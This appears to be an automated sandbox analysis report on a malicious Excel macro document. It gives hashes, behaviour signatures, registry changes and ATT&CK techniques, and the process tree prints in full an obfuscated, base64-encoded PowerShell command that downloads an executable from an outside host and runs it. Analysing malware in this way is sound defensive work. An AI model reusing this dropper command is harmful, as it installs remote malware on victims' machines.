adf1d9e22efc7d95a57aa8754fe5e489380c52de240167930f7043d079e34144

General

Target

document.xlsm
Size

53KB
MD5

50097dcbf3f4071e621ebbf3911d6ed5
SHA1

eef3fad484c512b778a25d931edba6726d39f5f3
SHA256

adf1d9e22efc7d95a57aa8754fe5e489380c52de240167930f7043d079e34144
SHA512

6067d055751c17e701ccca54c87af094bf8c8434728978f296887da3592f2021275cf5cff5b4f9c3c67bb427fa46cce228a2d89e863cf2cc561adf47720135c9

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1928	1108	cmd.exe	30

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1076	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1656	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1076	powershell.exe
1076	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1076	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1656	EXCEL.EXE
1656	EXCEL.EXE
1656	EXCEL.EXE

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1928 wrote to memory of 1076	1928	cmd.exe	33
PID 1928 wrote to memory of 1076	1928	cmd.exe	33
PID 1928 wrote to memory of 1076	1928	cmd.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\document.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1656

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwBhAHYAZQBfAHAAYQB0AGgACgB9AAoACgBQAFMALQBJAG4AcwB0AGEAbABsAGUAcgBWADIAIAAiAGgAdAB0AHAAcwA6AC8ALwBmAGUAcgB5AG0AYQBuAGkAdAAuAGMAbwBtACIAIAAiAGEAcABpAC8AdgAzAC8AaQBuAHMAdAByAHUAYwB0AG8AcgBpAGEAbAAvAGEAbQBwAHUAdABhAHQAaQBuAGcALwBjAG8AYgBhAGwAdABvAGMAeQBhAG4AaQBjACIAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAiACAAIgBGAGUAcgB5AG0AYQBuAGkAdAAgAFMAZQByAHYAaQBjAGUAIgAgACIAZQB4AGUAIgAgACQARgBhAGwAcwBlAA=="
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwBhAHYAZQBfAHAAYQB0AGgACgB9AAoACgBQAFMALQBJAG4AcwB0AGEAbABsAGUAcgBWADIAIAAiAGgAdAB0AHAAcwA6AC8ALwBmAGUAcgB5AG0AYQBuAGkAdAAuAGMAbwBtACIAIAAiAGEAcABpAC8AdgAzAC8AaQBuAHMAdAByAHUAYwB0AG8AcgBpAGEAbAAvAGEAbQBwAHUAdABhAHQAaQBuAGcALwBjAG8AYgBhAGwAdABvAGMAeQBhAG4AaQBjACIAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAiACAAIgBGAGUAcgB5AG0AYQBuAGkAdAAgAFMAZQByAHYAaQBjAGUAIgAgACIAZQB4AGUAIgAgACQARgBhAGwAcwBlAA==
  2⤵
  - Blocklisted process makes network request
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1076-66-0x000000001AAE0000-0x000000001AAE1000-memory.dmp

Filesize
4KB

Download
memory/1076-68-0x00000000025A0000-0x00000000025A2000-memory.dmp

Filesize
8KB

Download
memory/1076-72-0x000000001C260000-0x000000001C261000-memory.dmp

Filesize
4KB

Download
memory/1076-64-0x000007FEFB6B1000-0x000007FEFB6B3000-memory.dmp

Filesize
8KB

Download
memory/1076-65-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/1076-71-0x000000001C390000-0x000000001C391000-memory.dmp

Filesize
4KB

Download
memory/1076-67-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/1076-70-0x00000000024E0000-0x00000000024E1000-memory.dmp

Filesize
4KB

Download
memory/1076-69-0x00000000025A4000-0x00000000025A6000-memory.dmp

Filesize
8KB

Download
memory/1656-60-0x000000002F521000-0x000000002F524000-memory.dmp

Filesize
12KB

Download
memory/1656-61-0x0000000070EB1000-0x0000000070EB3000-memory.dmp

Filesize
8KB

Download
memory/1656-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1656-73-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing